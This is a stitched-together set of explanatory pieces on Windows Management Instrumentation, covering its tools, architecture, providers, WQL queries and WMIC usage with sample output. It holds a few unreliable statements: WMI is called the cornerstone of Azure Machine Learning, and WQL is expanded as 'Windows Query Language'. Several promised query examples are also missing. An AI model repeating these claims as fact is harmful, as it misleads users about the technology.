• WinMgmt.exe: WinMgmt.exe is not a tool; it is the executable that implements the WMI Core service. Under the Windows NT family of operating systems, WMI runs as a service. On computers running Windows 98, Windows 95, or Windows Me, WMI runs as an application. Under the Windows NT family of operating systems, it is also possible to run this executable as an application, in which case, the executable runs in the current user context. For this, the WMI service must be stopped first. The executable supports some switches that can be useful when starting WMI as a service or as an application. WMI provider developers who may want to debug their providers essentially need to run the WMI service as an application.^[8]
• WBEMTest.exe: WBEMTest.exe is a WMI tester tool, which is delivered with WMI. This tool allows an administrator or a developer to perform most of the tasks from a graphical interface that WMI provides at the API level. Although available under all Windows NT-based operating systems, this tool is not officially supported by Microsoft. WBEMTest provides the ability to:
  • Enumerate, open, create, and delete classes.
  • Enumerate, open, create, and delete instances of classes.
  • Select a namespace.
  • Perform data and event queries.
  • Execute methods associated to classes or instances.
  • Execute every WMI operation asynchronously, synchronously or semi-asynchronously.

• The WMI command line tool (WMIC): WMIC is a command-line tool designed to ease WMI information retrieval about a system by using some simple keywords (aliases). WMIC.exe is available under Windows XP Professional, Windows Server 2003, Windows Vista, Windows 7, Windows Server 2008, … Windows 11. Typing wmic /? at the command-line displays a complete list of the switches and keywords. (In Windows 11, wmic /? displays «WMIC is deprecated.», followed by the help text.)
  • There is a Linux port of WMI command line tool, written in Python, based on Samba4 called ‘wmi-client’^[9]
• WBEMDump.exe: WBEMDump is a tool delivered with the Platform SDK. This command line tool comes with its own Visual C++ project. The tool can show the CIM repository classes, instances, or both. It is possible to retrieve the same information as that retrieved with WMIC. WBEMDump.exe requires more specific knowledge about WMI, as it doesn’t abstract WMI as WMIC. However, it runs under Windows NT 4.0 and Windows 2000. It is also possible to execute methods exposed by classes or instances. Even if it is not a standard WMI tool delivered with the system installation, this tool can be quite useful for exploring the CIM repository and WMI features.
• WMIDiag.vbs: The WMI Diagnosis Tool is a VBScript downloadable from Microsoft here and is a tool for testing and validating WMI on Windows 2000 and greater. The download includes pretty thorough documentation and the tool supports numerous switches. When run, it will generate up to four text files which: list the steps taken (the LOG file), an overview of the results (REPORT file), a statistics file (in comma separated values format), and optionally a file listing of the providers registered on the machine (PROVIDERS, also in comma separated values format). The report file that is generated includes a list of the issues identified and potential ways to fix them.
• WMI Explorer: The WMI Explorer Tool is a freely available and opensource program downloadable here and is a tool for enumerating and querying WMI providers in a graphical user interface.

Wireless networking example[edit]

In the .NET Framework, the ManagementClass class represents a Common Information Model (CIM) management class. A WMI class can be a Win32_LogicalDisk in the case of a disk drive, or a Win32_Process, such as a running program like Notepad.exe.

This example shows how «MSNdis_80211_ServiceSetIdentifier» WMI class is used to find the SSID of the Wi-Fi network that the system is currently connected to in the language C#:

ManagementClass mc = new ManagementClass("root\\WMI", "MSNdis_80211_ServiceSetIdentifier", null);
ManagementObjectCollection moc = mc.GetInstances();

foreach (ManagementObject mo in moc)
{
    string wlanCard = (string)mo["InstanceName"];
    bool active;
    if (!bool.TryParse((string)mo["Active"], out active))
    {
       active = false;
    }
    byte[] ssid = (byte[])mo["Ndis80211SsId"];
}

The «MSNdis_80211_ServiceSetIdentifier» WMI class is only supported on Windows XP and Windows Server 2003.

WMI driver extensions[edit]

The WMI extensions to WDM provide kernel-level instrumentation such as publishing information, configuring device settings, supplying event notification from device drivers, and allowing administrators to set data security through a WMI provider known as the WDM provider. The extensions are part of the WDM architecture; however, they have broad utility and can be used with other types of drivers as well (such as SCSI and NDIS). The WMI Driver Extensions service monitors all drivers and event trace providers that are configured to publish WMI or event trace information. Instrumented hardware data is provided by way of drivers instrumented for WMI extensions for WDM. WMI extensions for WDM provide a set of Windows device driver interfaces for instrumenting data within the driver models native to Windows, so OEMs and IHVs can easily extend the instrumented data set and add value to a hardware/software solution. The WMI Driver Extensions, however, are not supported by Windows Vista and later operating systems.^[10]

See also[edit]

• Open Management Infrastructure
• ANT catalog § WISTFULTOLL

References[edit]

External links[edit]

• WMI at the Microsoft Developer Network
• CIM terminology
• WMI Overview and Background
• WMI and CIM overview
• How improved support for WMI makes PowerShell the best environment to use and script WMI
• Microsoft WMI Webcast
• WMI Code Creator

What is Windows Management Instrumentation (WMI)?

Windows Management Instrumentation (WMI) represents an all-encompassing platform developed by Microsoft, designed to unify the administration of devices and applications within a network environment powered by Windows computing systems. It provides users with valuable information about the status of local or remote computer systems, making it an indispensable tool for administrators managing various Windows operational environments. WMI, a key component of Microsoft’s management infrastructure, comes pre-installed on Microsoft’s newest operating systems and is designed to reduce the maintenance and cost of managing enterprise network components.

WMI provides a consistent model of the Windows operating systems, configuration, and status in enterprise networks, offering a COM API that allows access to management information about the status of local or remote computer systems. Developers and IT administrators can write WMI scripts or applications to automate administrative tasks on remote computers, with management applications or scripts able to perform operations or get data through WMI in a variety of programming languages. Its flexible and extensible architecture provides support for new devices, applications, and other enhancements, making WMI a powerful and flexible tool for managing and monitoring the Microsoft Windows operating system.

Introduction to Windows Management Instrumentation (WMI)

Windows Management Instrumentation (WMI) is a powerful feature of the Microsoft Windows operating system. It is a part of the infrastructure for management data and operations on Windows-based operating systems. WMI represents a collection of guidelines established by Microsoft, designed to streamline the administration of devices and applications within a network environment that utilizes Windows computing systems. It provides users with information about the status of local or remote systems and computer systems.

Understanding the WMI Architecture

The WMI architecture is a flexible and extensible architecture that is designed to provide a unified way of accessing management information in an enterprise environment. At the heart of the WMI architecture are the WMI providers. WMI providers act as intermediaries between the WMI service and the managed objects in the Windows Driver Model. They supply the WMI service with data from managed objects and handle requests to change the state of managed objects.

The WMI repository is a crucial component of the WMI infrastructure. It stores the static data and the definitions of all WMI classes, which are the templates for the instances of management data. The WMI repository also stores the definitions of all the WMI namespace namespaces, which are logical divisions of the WMI class hierarchy.

WMI vs. Other Management Protocols

Windows Management Instrumentation (WMI) is often compared to other management protocols like the Simple Network Management Protocol (SNMP). While both protocols are very fast and highly efficient, they go about their business in very different ways. For managing Windows devices, WMI is probably the better option, while SNMP is widely supported by networking vendors like Cisco, Juniper, Huawei, and Unix/Linux operating systems.

Working with WMI

Working with WMI involves using the WMI command line, WMI Query Language (WQL), and WMI scripts. The WMI command line tool, also known as WMIC, is a command-line interface to the WMI API. It allows administrators to perform various system management tasks from the command prompt. For example, to access WMI from the command prompt, type WMIC and press Enter.

WMI scripts are used to automate administrative tasks and manipulate management data. These scripts can be written in any language that supports Microsoft ActiveX scripting, including:

• VBScript
• Perl
• Windows PowerShell

WQL is a subset of SQL with extensions to support WMI events and other features specific to the WMI system. WMI queries are used to retrieve management data from the WMI repository. There are three types of WMI queries: Data Queries, Event Queries and Schema Queries.

Data Queries

Data queries are the most common type of WMI Query Language (WQL) query. They are used to retrieve data from the WMI repository. Data queries can be used to retrieve instances of a specific class or to retrieve instances that meet certain criteria. For example, a data query might retrieve all instances of the Win32_Process class (which represents processes running on a Windows system), or it might retrieve only those instances where the Name property is “notepad.exe”.

See below for a data query example that requests the event log file named “Application” from all instances of Win32_NTLogEvent.

Event Queries

Event queries are used to subscribe to events in WMI. An event in WMI is a significant occurrence in a managed object that might be of interest to management applications. For example, an event might be generated when a process starts or stops, when a disk drive becomes full, or when a network connection is lost. Event queries can be used to subscribe to these events and be notified when they occur.

There are two types of event queries: intrinsic event queries and extrinsic event queries. Intrinsic event queries subscribe to events that are automatically generated by WMI when instances of a class are created, modified, or deleted. Extrinsic event queries subscribe to events that are explicitly generated by a WMI provider.

See below for an example event query by an event consumer request notification when a new instance of a class derived from Win32_NTLogEvent is created.

Schema Queries

Schema queries are used to retrieve information about the schema of the WMI repository. The schema of the WMI repository is a set of definitions for all the classes, properties, methods, and events that are available in WMI. Schema queries can be used to retrieve information about these definitions.

For example, a schema query might retrieve the definition of the Win32_Process class, including the names and types of its properties and the signatures of its methods. Schema queries can also be used to retrieve information about the relationships between classes, such as the inheritance relationships between classes and the associations between instances of different classes.

The following example schema query shows the syntax.

Advanced WMI Features

WMI provides a higher level of representation of systems, supporting properties, events, and methods on top of the object classes used by SNMP. The WMI system classes providers supply the WMI service with data from managed objects and handle requests to change the state of managed objects. The WMI provider class defines the methods for a provider.

WMI also supports remote management. The WMI service acts as a server component, allowing management applications to connect to it remotely. This feature is particularly useful for managing remote computers in a Windows enterprise network.

WMI in Network Monitoring and Management

WMI plays a crucial role in network monitoring and software management systems. It provides an in-depth analysis of devices, including current configuration parameters, status values, CPU load, memory usage, software and hardware audits, application availability, and operating system failures. WMI can be used to monitor any desktop or server running the Windows operating system in public, private, or hybrid environments.

Security Considerations in WMI

Security is a critical aspect of any management infrastructure. WMI provides several security features to protect the management of data. For example, WMI uses the Distributed Component Object Model (DCOM) for remote access, which provides a robust set of security features. It also allows administrators to set permissions on WMI namespaces and classes, ensuring that only authorized users can access the management data.

WMI Monitoring Tools

There are several WMI administrative tools available that can help manage boot configuration data and monitor the WMI infrastructure. These tools provide a graphical user interface to display and manipulate the data in the WMI repository. Some tools also allow you to build scripts without any coding knowledge. Examples of such tools include WMI Explorer and WMI Event Viewer.

Future of WMI

The future of WMI looks promising. With the continuous development of the Windows operating system, WMI is expected to become even more powerful and versatile. The latest versions of the Windows Server and supported Windows platforms come with enhanced WMI features, making it easier for administrators to manage enterprise network components.

Simplicity vs. flexibility

So which monitoring solution is right for you? The answer will depend on the size and complexity of your network, your management infrastructure standards, the skills of your network administrators, and your available budget.

One of the major advantages of SNMP is that it is easy to deploy and configure even on larger networks. It can also be used to manage all devices on the network regardless of the manufacturer. Many SNMP tools are also free which helps keep costs down. The downside is that standard SNMP features are very basic.

If you require more sophisticated data and configuration options and you operate a large Windows OS environment, then WMI is the way to go. This will provide you with a powerful framework to streamline the monitoring and management of your Windows OS environment. The downside is more complexity and increased operational overhead.

Deep Dive into WMI Providers

WMI providers are a critical component of the Windows Management Instrumentation (WMI) infrastructure. They act as intermediaries between the WMI service and the managed objects in the Windows operating system. WMI providers supply the WMI service with data from managed objects and handle requests to change the state of managed objects.

Each WMI provider is associated with one or more WMI classes, which are templates for instances of management data. These methods can be used to retrieve data, change the state of a managed object, or trigger an action on a managed object.

WMI providers are implemented as COM objects and are loaded into the WMI service process when needed. They can be written in any language that supports COM, but most are written in C++ for performance reasons.

Understanding the Two Types of WMI Providers

WMI providers are essential components of the Windows Management Instrumentation (WMI) infrastructure. They act as intermediaries between the WMI service and the managed objects in an enterprise environment. There are two primary types of WMI providers: instance providers and event providers. Each type plays a unique role in the WMI infrastructure.

Instance Providers

Instance providers are responsible for supplying data for instances of WMI classes. They manage the static data that represents the current state of a managed object. For example, an instance provider for a disk drive might supply data about the drive’s current capacity, free space, file system, and other properties.

Instance providers handle requests from the WMI service to retrieve or modify the properties of a managed object. When a management application makes a request to read or write a property of a managed object, the WMI service forwards the request to the appropriate instance provider.

Instance providers are also responsible for implementing the methods of a WMI class. When a management application invokes a method on a managed object, the WMI service calls the corresponding method in the instance provider.

Event Providers

Event providers, on the other hand, notify WMI when events occur. An event can be any significant occurrence in a managed object that might be of interest to management applications. For example, an event provider for a disk drive might generate an event when the drive becomes full.

Event providers are responsible for detecting events and delivering event notifications to the WMI service. When an event occurs, the event provider creates an instance of an event class to represent the event and delivers the instance to the WMI event registration service. The WMI service then forwards the event to any management applications that have registered to receive such events.

Event providers can generate two types of events: extrinsic events and intrinsic events. Extrinsic events represent significant occurrences that are not directly associated with a change in a managed object’s state, such as a user logging on or off. Intrinsic events represent changes in the state of a managed object, such as a change in a property value.

Both instance providers and event providers play crucial roles in the WMI infrastructure. Instance providers manage the static data that represents the current state of managed objects, while event providers notify WMI when significant events occur. Together, they enable WMI to provide a comprehensive and flexible framework for managing and monitoring the Windows operating system.

Microsoft Windows Operating System and WMI

The Microsoft Windows operating system is deeply integrated with WMI. WMI is a part of the infrastructure for management data and operations on Windows-based operating systems. It supplies management data and provides a unified way of accessing management information in an enterprise environment.

WMI comes preinstalled with the Windows operating system and is available on all Windows platforms, including Windows Server and Windows Vista. It provides a way for the operating system to expose management data and operations to management applications.

The operating system interface exposes many of its features through WMI classes. For example, the operating system might expose a WMI class for each logical or physical component of a system, such as a disk drive, a piece of memory, or a network adapter. Management applications can use these classes to manage the corresponding components.

WMI also plays a crucial role in the Windows operating system’s event logging system. The Event Log Provider in WMI provides access to the event logs on a local or remote system. This allows management applications to retrieve event log entries and to be notified when new events are logged.

Conclusion

Windows Management Instrumentation (WMI) is a powerful tool for managing and monitoring the Windows operating system. It provides a flexible and extensible architecture for accessing management data and automating administrative tasks. Whether you’re managing a small network of computers or a large enterprise network, WMI tools can help streamline your operations and improve your efficiency.

With the right knowledge and tools, you can leverage WMI to its full potential. Whether you’re using the WMI command line, writing WMI queries, or creating WMI scripts, there’s a wealth of resources available to help you get the most out of WMI. And with the ongoing development of the Windows operating system and WMI, you can expect even more powerful features and capabilities in the future.

The framework for management information and activities on Windows-based operating systems is called Windows Management Instrumentation (WMI).

WMI also provides management data to other components of the operating system and products, such as SCOM (System Center Operations Manager) or Windows Remote Management.

What is Windows Management Instrumentation (WMI?)

WMI is a platform for managing and monitoring the operating system and other Microsoft applications and services on personal computers, servers, and other network devices.

WMI provides a comprehensive, scalable, and easy-to-use programming interface that provides programmatic access to information and services on Microsoft-managed computers and other network devices.

It is used to discover and monitor the operating system, services, and applications on the computer, as well as registry and file system data. It is also used to create and manage scripts and programs that automate the management and administration of the computer.

It employs the WQL (Windows Query Language) programming language to query information and conduct operations on the operating system, computers, and devices.

It also gives you access to PowerShell, one of the most powerful and flexible administration tools for Windows, which you may use to create automation scripts.

Furthermore, WMI enables you to construct custom applications that provide additional functionality for the management and administration of Windows systems and applications.

Users who need to monitor their machines’ state, do basic troubleshooting, and collect performance data will find WMI handy.

What is the purpose of WMI?

WMI is useful in a Windows enterprise network because it simplifies the operation and management of enterprise network components by delivering data to other products for further enhancement and scalability.  

The whole purpose of WMI is to provide a unified management framework experience across all aspects of a Windows system, such as:

• Operating system components
• Processes and threads
• Services
• Devices
• Drivers
• Applications
• User accounts
• Security settings

The purpose of the WMI invention leads to reduced cost and time in operations and development related to windows systems. WMI also enables you to monitor system events and collect performance data. This data can be used to troubleshoot problems or to track trends over time.

WMI is most commonly used to automate administrative chores and gain access to data without dealing directly with the operating system. As a result, WMI is a fantastic alternative for administrators and software developers that need to automate time-consuming processes.

Everything from monitoring system performance to acquiring application data is possible with it. It enables developers to create smarter, more intelligent applications while also ensuring that IT administrators can complete their tasks with minimal effort.

WMI provides a reference implementation for accessing system information and is a key tool for managing and monitoring Windows systems. It’s the cornerstone for Azure Machine Learning and AzureML, and it’s used to power a wide range of third-party products.

Use of WMI

Windows Management Instrumentation (WMI) is Microsoft’s delivery of Web-Based Enterprise Management (WBEM), an industry initiative to develop standardized technologies for accessing corporate governance information.

WMI represents systems, applications, networks, devices, and other managed components using the Common Information Model (CIM) industry standard. The Distributed Management Task Force (DMTF) creates and maintains CIM.

WMI design is versatile, supporting a wide range of administration and management duties, as well as providing a flexible and extensible architecture that allows manufacturers to write new WMI providers to support new devices, applications, and other advancements.

Other uses are:

• Comprehensive management of Windows operating system and Microsoft networking devices and services.
• It can be used to connect the remote computers to access WMI data  
• Discovers information about the system, such as what programs are running and what services are set up.
• To retrieve information about hardware specifications and perform actions, such as shutting down or rebooting the system.
• Launching applications, starting, halting, configuring services, and accessing data.
• Developers of management applications can use this API to create scripts in Visual Basic or Windows Scripting Host (WSH).

WMI Architecture

WMI (Windows Management Instrumentation) is a Microsoft technology initially presented in Windows 2000. It allows programmers to construct management programs that work with any system that supports WMI.

Let’s see the architecture and terminology of WMI.

The flow of WMI architecture starts from Objects: A component such as a hard drive, network card, Operating System, or service is a managed object (That can be managed via WMI). WMI infrastructure receives data from an object through a provider. It provides and receives messages from WMI and hands them over to the object.

A WMI provider comprises a DLL and a Managed Object Format (MOF) file that monitors events and data from objects. WMI categorizes providers according to the functionality provided by the provider’s interface.

There are numerous built-in WMI providers in Windows, including an Active Directory provider, Boot Configuration Data (BCD) WMI provider, Distributed File System (DFS) provider, Event Log provider, Hyper-V WMI provider, Win32 provider, Registry provider, and SNMP provider.

The WMI infrastructure is a component of the Microsoft Windows operating system known as the WMI service (winmgmt). The WMI Core and the WMI Repository are the two parts of the WMI infrastructure.

The WMI repository is a hierarchical data storage organized by WMI namespaces, often known as the Common Information Model (CIM). The WMI service establishes a number of namespaces upon system start-up, including root default, rootcimv2, and root subscription.

In addition, the service produces a default set of class definitions, which includes the Win32 and WMI system classes. Other WMI namespaces may be created by additional WMI providers, and each namespace contains several WMI objects.

The WMI service acts as an intermediary between the providers, management applications, and the WMI repository. Only static data about objects is stored in the repository, such as the classes defined by providers. WMI obtains most data dynamically from the provider when a client requests it. 

A WMI consumer is a management application or script that communicates with the WMI infrastructure. Using the COM API for WMI or the Scripting API for WMI, a management program can query, itemize data, run provider methods, and subscribe to events.

WMI creates a standardized interface for remotely and locally retrieving management data. The uniform interface abstracts from the operating system’s application programming interfaces (APIs). This allows apps and scripts to collect management data without needing to know about the operating system API.  

How to run a WMI query?

A feature of the WMI platform’s versatility is the ability to query its repository in order to obtain details about the class, instance, or schema data. These metrics are connected to the inventory of local and distant systems, operating systems, software, and other administrative activities.

Type of Queries

Broadly there are two types of queries used to retrieve information from the WMI repository:

Synchronous Query: It is a query that keeps control of your application’s operation throughout the query. It is easier than an asynchronous call because it only takes one interface call. For large searches or network-based inquiries, it may, however, freeze up your application.

Asynchronous Query: When the speed of a system or network will be impacted by querying a sizable group of data, an Asynchronous query is a preferable kind to use.

WQL (WMI Query Language)

One of the popular methods to query WMI is the WMI Query Language.

The SQL (Structured Query Language) is used in the database environment, and WQL is used in WMI. They both have a similar syntax structure.

Select, From, and Where are the fundamental WQL statements that are utilized to launch the query.

A typical WMI query starts by selecting all the properties from a WMI class using the “Select” command. The asterisk (“*”) is used to select every property from a WMI class. One can use the “From” keyword to specify the WMI class to query after choosing the properties (one or more properties, or all of them). You may check the SQL cheatsheet for the exact syntax.

WQL can be executed through WMI Tester (wbemtest.exe), which is by default installed with the Windows operating system. WMI queries also can be executed through Windows PowerShell, VBScript, and C language.

Type of WQL Queries

The WQL queries are utilized to get three different types of information.

Object Queries: Information about Windows system resources can be retrieved using these queries.

Event Queries: These queries are used to track changes to event logs, the initiation of processes, the status of services, the availability of computers, or the amount of free disc space, among other entities or occurrences.

Schema Queries: These queries are used to obtain details about the structure of the WMI schema.

Running a Query

Let’s see how to run an object query.

The following method states how to check WIN_32 processes on a local system.

The tool WMI Tester is executed through the command line by entering wbemtest.exe.

The following window will pop up.

To connect to the WMI namespace that contains the class you want to query (Root\Cimv2 in most cases): click on connect tab.

To run the query, click on the ‘Query’ tab as shown below:

Then enter the query for which you want to retrieve the information. For example, let’s retrieve all processes running on the local system by running:

select * From Win32_process

After clicking the apply tab, you will get the below results

The above GUI-based execution can also be carried out at command prompt through PowerShell:

In the PowerShell platform, to get the list of all win_32 processes, the below code is used:

Get-WmiObject -Class Win32_Process

To get all the PowerShell query parameters, visit the Microsoft PowerShell Management page.

To run this query in VBScript and C language, the Microsoft documentation page would provide complete insights.

One other method to query the WMI repository is through the WMIC command:

• Run CMD from a command prompt
• Type WMIC and enter to start the program
• Then the command prompt will change to wmic:root\cli>

Admins can run WMI queries from this prompt.

For example, to load CPU information of a local system, the command will be:

wmic:root\cli> WMIC CPU

The results/information will be displayed in the command prompt.

AddressWidth  Architecture  AssetTag                Availability  Caption                                 Characteristics  ConfigManagerErrorCode  ConfigManagerUserConfig  CpuStatus  CreationClassName  CurrentClockSpeed  CurrentVoltage  DataWidth  Description                             DeviceID  ErrorCleared  ErrorDescription  ExtClock  Family  InstallDate  L2CacheSize  L2CacheSpeed  L3CacheSize  L3CacheSpeed  LastErrorCode  Level  LoadPercentage  Manufacturer  MaxClockSpeed  Name                                      NumberOfCores  NumberOfEnabledCore  NumberOfLogicalProcessors  OtherFamilyDescription  PartNumber              PNPDeviceID  PowerManagementCapabilities  PowerManagementSupported  ProcessorId       ProcessorType  Revision  Role  SecondLevelAddressTranslationExtensions  SerialNumber            SocketDesignation  Status  StatusInfo  Stepping  SystemCreationClassName  SystemName  ThreadCount  UniqueId  UpgradeMethod  Version  VirtualizationFirmwareEnabled  VMMonitorModeExtensions  VoltageCaps
64            9             To Be Filled By O.E.M.  3             Intel64 Family 6 Model 142 Stepping 10  252                                                               1          Win32_Processor    1801               7               64         Intel64 Family 6 Model 142 Stepping 10  CPU0                                      100       205                  1024                       6144         0                            6      31              GenuineIntel  1801           Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz  4              4                    8                                                  To Be Filled By O.E.M.                                            FALSE                     BFEBFBFF000806EA  3                        CPU   TRUE                                     To Be Filled By O.E.M.  U3E1               OK      3                     Win32_ComputerSystem     RENEE-HP     8                      51                      FALSE                          TRUE

For more information about WMIC Alias and verbs, visit Microsoft wmic.

FAQs on WMI

Conclusion

In general, Windows Management Instrumentation is a strong tool that can be used to handle a wide range of various Windows system-related features. WMI may be a very helpful tool for anyone dealing with Windows systems, despite the fact that it may initially seem intimidating.